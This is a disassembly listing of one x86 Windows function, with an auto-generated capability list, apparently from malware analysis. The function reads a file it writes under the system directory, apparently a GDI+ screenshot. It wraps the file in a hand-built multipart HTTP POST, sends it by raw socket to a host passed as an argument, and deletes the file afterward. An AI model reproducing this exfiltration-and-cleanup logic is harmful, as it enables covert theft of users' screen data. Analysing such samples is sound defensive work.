Function at 0x10002c20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Delete file
Get common file path
Initialize winsock library
Read and send data from client to server
Read file on windows
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100061c8
push 0x10004ed0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, 0x2a4a4
call fcn.10004f00
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
mov byte [ebp - 0x128], bl
mov ecx, 0x19
xor eax, eax
lea edi, [ebp - 0xc0]
rep stosd dword es:[edi], eax
push 0x64
lea eax, [ebp - 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [ebp - 0xc0]
mov edi, 0x1000739c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0xc0]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x19
lea edi, [ebp - 0x198]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0xc0]
lea edx, [ebp - 0x198]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
call esi
mov edi, eax
mov dword [ebp - 0x13bf4], edi
push 1
call esi
mov esi, eax
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x13bf0], 1
mov dword [ebp - 0x13bec], ebx
mov dword [ebp - 0x13be8], ebx
mov dword [ebp - 0x13be4], ebx
push ebx
lea ecx, [ebp - 0x13bf0]
push ecx
lea edx, [ebp - 0x13c60]
push edx
call sub.gdiplus.dll_GdiplusStartup
lea eax, [ebp - 0x198]
push eax
call fcn.10001ef0
push 0x14
push esi
push edi
push 0x100075c0
call fcn.10002a70
add esp, 0x14
mov ecx, 0x59d8
xor eax, eax
lea edi, [ebp - 0x2a3c4]
rep stosd dword es:[edi], eax
push ebx
push 0x80
push 3
push ebx
push 1
push connect
lea ecx, [ebp - 0xc0]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x13c5c], esi
push ebx
lea edx, [ebp - 0x13be0]
push edx
push 0x13880
lea eax, [ebp - 0x13bdc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x134], ebx
mov ecx, 0x19
xor eax, eax
lea edi, [ebp - 0x2a458]
rep stosd dword es:[edi], eax
mov ecx, 0xc
lea edi, [ebp - 0x35c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edx, dword [ebp + 0xc]
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffff8
lea esi, [edx + 7]
lea edi, [ebp - 0x2a458]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x2f
lea eax, [ebp - 0x2a458]
push eax
call sub.MSVCRT.dll_strchr
add esp, 8
mov edx, eax
mov dword [ebp - 0x134], edx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
lea edi, [ebp - 0x2a458]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub ecx, esi
lea esi, [ebp - 0x2a458]
lea edi, [ebp - 0x35c]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x19
xor eax, eax
lea edi, [ebp - 0x13c58]
rep stosd dword es:[edi], eax
push edx
push str.POST__s_HTTP_1.1_r_n
lea ecx, [ebp - 0x13c58]
push ecx
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
call ebx
add esp, 0xc
lea edi, [ebp - 0x13c58]
lea edx, [ebp - 0x2a3c4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x2a3c4]
mov edi, str.Accept:_image_jpeg___r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x2a3c4]
mov edi, str.Content_Type:_multipart_form_data__boundary___________________________7d9cb310484_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x19
lea edi, [ebp - 0x13c58]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x35c]
push eax
push str.Host:__s_r_n
lea ecx, [ebp - 0x13c58]
push ecx
call ebx
add esp, 0xc
lea edi, [ebp - 0x13c58]
lea edx, [ebp - 0x2a3c4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x2a3c4]
mov edi, str.Content_Length:_90000_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x2a3c4]
mov edi, str.Cache_Control:_no_cache_r_n_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x2a3c4]
mov edi, str._____________________________7d9cb310484_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x19
lea edi, [ebp - 0x13c58]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xc0]
push eax
push str.Content_Disposition:_form_data__name_file1___filename__s__r_n
lea ecx, [ebp - 0x13c58]
push ecx
call ebx
add esp, 0xc
lea edi, [ebp - 0x13c58]
lea edx, [ebp - 0x2a3c4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x2a3c4]
mov edi, str.Content_Type:_text_plain_r_n_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x2a3c4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x5c], eax
mov esi, dword [ebp - 0x13be0]
lea ecx, [esi + 1]
cmp eax, ecx
jae 0x100030bc
mov cl, byte [ebp + eax - 0x13bdc]
mov byte [ebp + edx - 0x2a3c4], cl
inc edx
mov dword [ebp - 0x130], edx
inc eax
mov dword [ebp - 0x5c], eax
jmp 0x1000309a
mov ecx, 0xb
mov esi, str._r_n_____________________________7d9cb310484_r_n
lea edi, [ebp - 0x2a3f4]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0xc
mov esi, str.Content_Disposition:_form_data__name_upload__r_n_r_n
lea edi, [ebp - 0x2a494]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [0x100071d4]
mov dword [ebp - 0x2a4a4], eax
mov cx, word [0x100071d8]
mov word [ebp - 0x2a4a0], cx
mov al, byte [0x100071da]
mov byte [ebp - 0x2a49e], al
mov ecx, 0xb
mov esi, str._____________________________7d9cb310484___r_n
lea edi, [ebp - 0x50]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x2a3f4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
mov dword [ebp - 0x2a460], ebx
lea edi, [ebp - 0x2a494]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x2a49c], ecx
lea edi, [ebp - 0x2a4a4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x20], ecx
lea edi, [ebp - 0x50]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x58], ecx
mov ecx, ebx
lea esi, [ebp - 0x2a3f4]
lea edi, [ebp + edx - 0x2a3c4]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x2a49c]
lea esi, [ebp - 0x2a494]
lea eax, [ebx + edx]
lea edi, [ebp + eax - 0x2a3c4]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x20]
lea esi, [ebp - 0x2a4a4]
add eax, ebx
add eax, edx
lea edi, [ebp + eax - 0x2a3c4]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x58]
lea esi, [ebp - 0x50]
mov edi, dword [ebp - 0x2a49c]
add eax, edi
add eax, ebx
add eax, edx
lea edi, [ebp + eax - 0x2a3c4]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x2a498], 0x202
lea eax, [ebp - 0x328]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
mov dword [ebp - 0xc4], eax
test eax, eax
je 0x10003223
lea ecx, [ebp - 0xc0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x1000336c
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x12c], esi
or edi, 0xffffffff
cmp esi, edi
jne 0x10003256
call sub.WS2_32.dll_WSACleanup
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x35c]
push edx
call sub.WS2_32.dll_gethostbyname
mov dword [ebp - 0x1c], eax
test eax, eax
jne 0x1000328a
lea eax, [ebp - 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call sub.WS2_32.dll_inet_ntoa
mov dword [ebp - 0x2a45c], eax
mov word [ebp - 0x2a4b8], 2
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0x2a4b4], eax
push 0x100078f0
call sub.MSVCRT.dll_atoi
add esp, 4
mov dword [ebp - 0x2a4a8], eax
push eax
call sub.WS2_32.dll_htons
mov word [ebp - 0x2a4b6], ax
push 0x10
lea ecx, [ebp - 0x2a4b8]
push ecx
push esi
call sub.WS2_32.dll_connect
cmp eax, edi
jne 0x1000330b
lea edx, [ebp - 0xc0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call sub.WS2_32.dll_WSACleanup
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x16760
lea eax, [ebp - 0x2a3c4]
push eax
push esi
call sub.WS2_32.dll_send
mov dword [ebp - 0x2a4bc], eax
cmp eax, 0x16760
jne 0x10003325
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
call sub.WS2_32.dll_WSACleanup
push esi
call sub.WS2_32.dll_closesocket
lea ecx, [ebp - 0xc0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret